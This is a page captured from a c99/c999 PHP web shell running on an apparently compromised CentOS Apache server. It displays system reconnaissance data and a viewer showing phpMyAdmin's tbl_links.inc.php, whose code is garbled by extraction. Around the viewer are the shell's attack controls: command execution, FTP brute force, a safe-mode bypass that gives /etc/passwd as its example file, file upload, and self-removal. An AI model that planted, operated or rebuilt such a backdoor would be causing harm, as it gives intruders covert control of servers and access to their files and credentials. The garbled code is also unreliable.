!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tbl_links.inc.php (3.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 *
 * @package phpMyAdmin
 */
if (! defined('PHPMYADMIN')) {
    exit;
}

/**
 * Check parameters
 */
require_once './libraries/common.inc.php';

PMA_checkParameters(array('db''table'));

/**
 * Prepares links
 */
require_once './libraries/bookmark.lib.php';


/**
 * Set parameters for links
 */
$url_params = array();
$url_params['db']    = $db;
$url_params['table'] = $table;

/**
 * Defines the urls to return to in case of error in a sql statement
 */
$err_url_0 $cfg['DefaultTabDatabase'] . PMA_generate_common_url(array('db' => $db,));
$err_url   $cfg['DefaultTabTable'] . PMA_generate_common_url($url_params);

/**
 * Displays headers
 */
require_once './libraries/header.inc.php';

/**
 * Displays links
 */
$tabs = array();

$tabs['browse']['icon'] = 'b_browse.png';
$tabs['browse']['text'] = __('Browse');
$tabs['browse']['link'] = 'sql.php';
$tabs['browse']['args']['pos'] = 0;

$tabs['structure']['icon'] = 'b_props.png';
$tabs['structure']['link'] = 'tbl_structure.php';
$tabs['structure']['text'] = __('Structure');

$tabs['sql']['icon'] = 'b_sql.png';
$tabs['sql']['link'] = 'tbl_sql.php';
$tabs['sql']['text'] = __('SQL');

$tabs['search']['icon'] = 'b_search.png';
$tabs['search']['text'] = __('Search');
$tabs['search']['link'] = 'tbl_select.php';

if (! (isset(
$db_is_information_schema) && $db_is_information_schema)) {
    
$tabs['insert']['icon'] = 'b_insrow.png';
    
$tabs['insert']['link'] = 'tbl_change.php';
    
$tabs['insert']['text'] = __('Insert');
}

$tabs['export']['icon'] = 'b_tblexport.png';
$tabs['export']['link'] = 'tbl_export.php';
$tabs['export']['args']['single_table'] = 'true';
$tabs['export']['text'] = __('Export');

/**
 * Don't display "Import" and "Operations"
 * for views and information_schema
 */
if (! $tbl_is_view && ! (isset($db_is_information_schema) && $db_is_information_schema)) {
    
$tabs['import']['icon'] = 'b_tblimport.png';
    
$tabs['import']['link'] = 'tbl_import.php';
    
$tabs['import']['text'] = __('Import');

    
$tabs['operation']['icon'] = 'b_tblops.png';
    
$tabs['operation']['link'] = 'tbl_operations.php';
    
$tabs['operation']['text'] = __('Operations');
}
if(
PMA_Tracker::isActive()) {
    
$tabs['tracking']['icon'] = 'eye.png';
    
$tabs['tracking']['text'] = __('Tracking');
    
$tabs['tracking']['link'] = 'tbl_tracking.php';
}
if (! 
$tbl_is_view && ! (isset($db_is_information_schema) && $db_is_information_schema)) {
}

/**
 * Views support a limited number of operations
 */
if ($tbl_is_view && ! (isset($db_is_information_schema) && $db_is_information_schema)) {
    
$tabs['operation']['icon'] = 'b_tblops.png';
    
$tabs['operation']['link'] = 'view_operations.php';
    
$tabs['operation']['text'] = __('Operations');
}

if (
$table_info_num_rows == && !$tbl_is_view) {
    
$tabs['browse']['warning'] = __('Table seems to be empty!');
    
$tabs['search']['warning'] = __('Table seems to be empty!');
}

echo 
PMA_generate_html_tabs($tabs$url_params);
unset(
$tabs);

if(
PMA_Tracker::isActive() and PMA_Tracker::isTracked($GLOBALS["db"], $GLOBALS["table"]))
{
    
$msg PMA_Message::notice('<a href="tbl_tracking.php?'.$url_query.'">'.sprintf(__('Tracking of %s.%s is activated.'), $GLOBALS["db"], $GLOBALS["table"]).'</a>');
    
$msg->display();
}

/**
 * Displays a message
 */
if (!empty($message)) {
    
PMA_showMessage($message);
    unset(
$message);
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--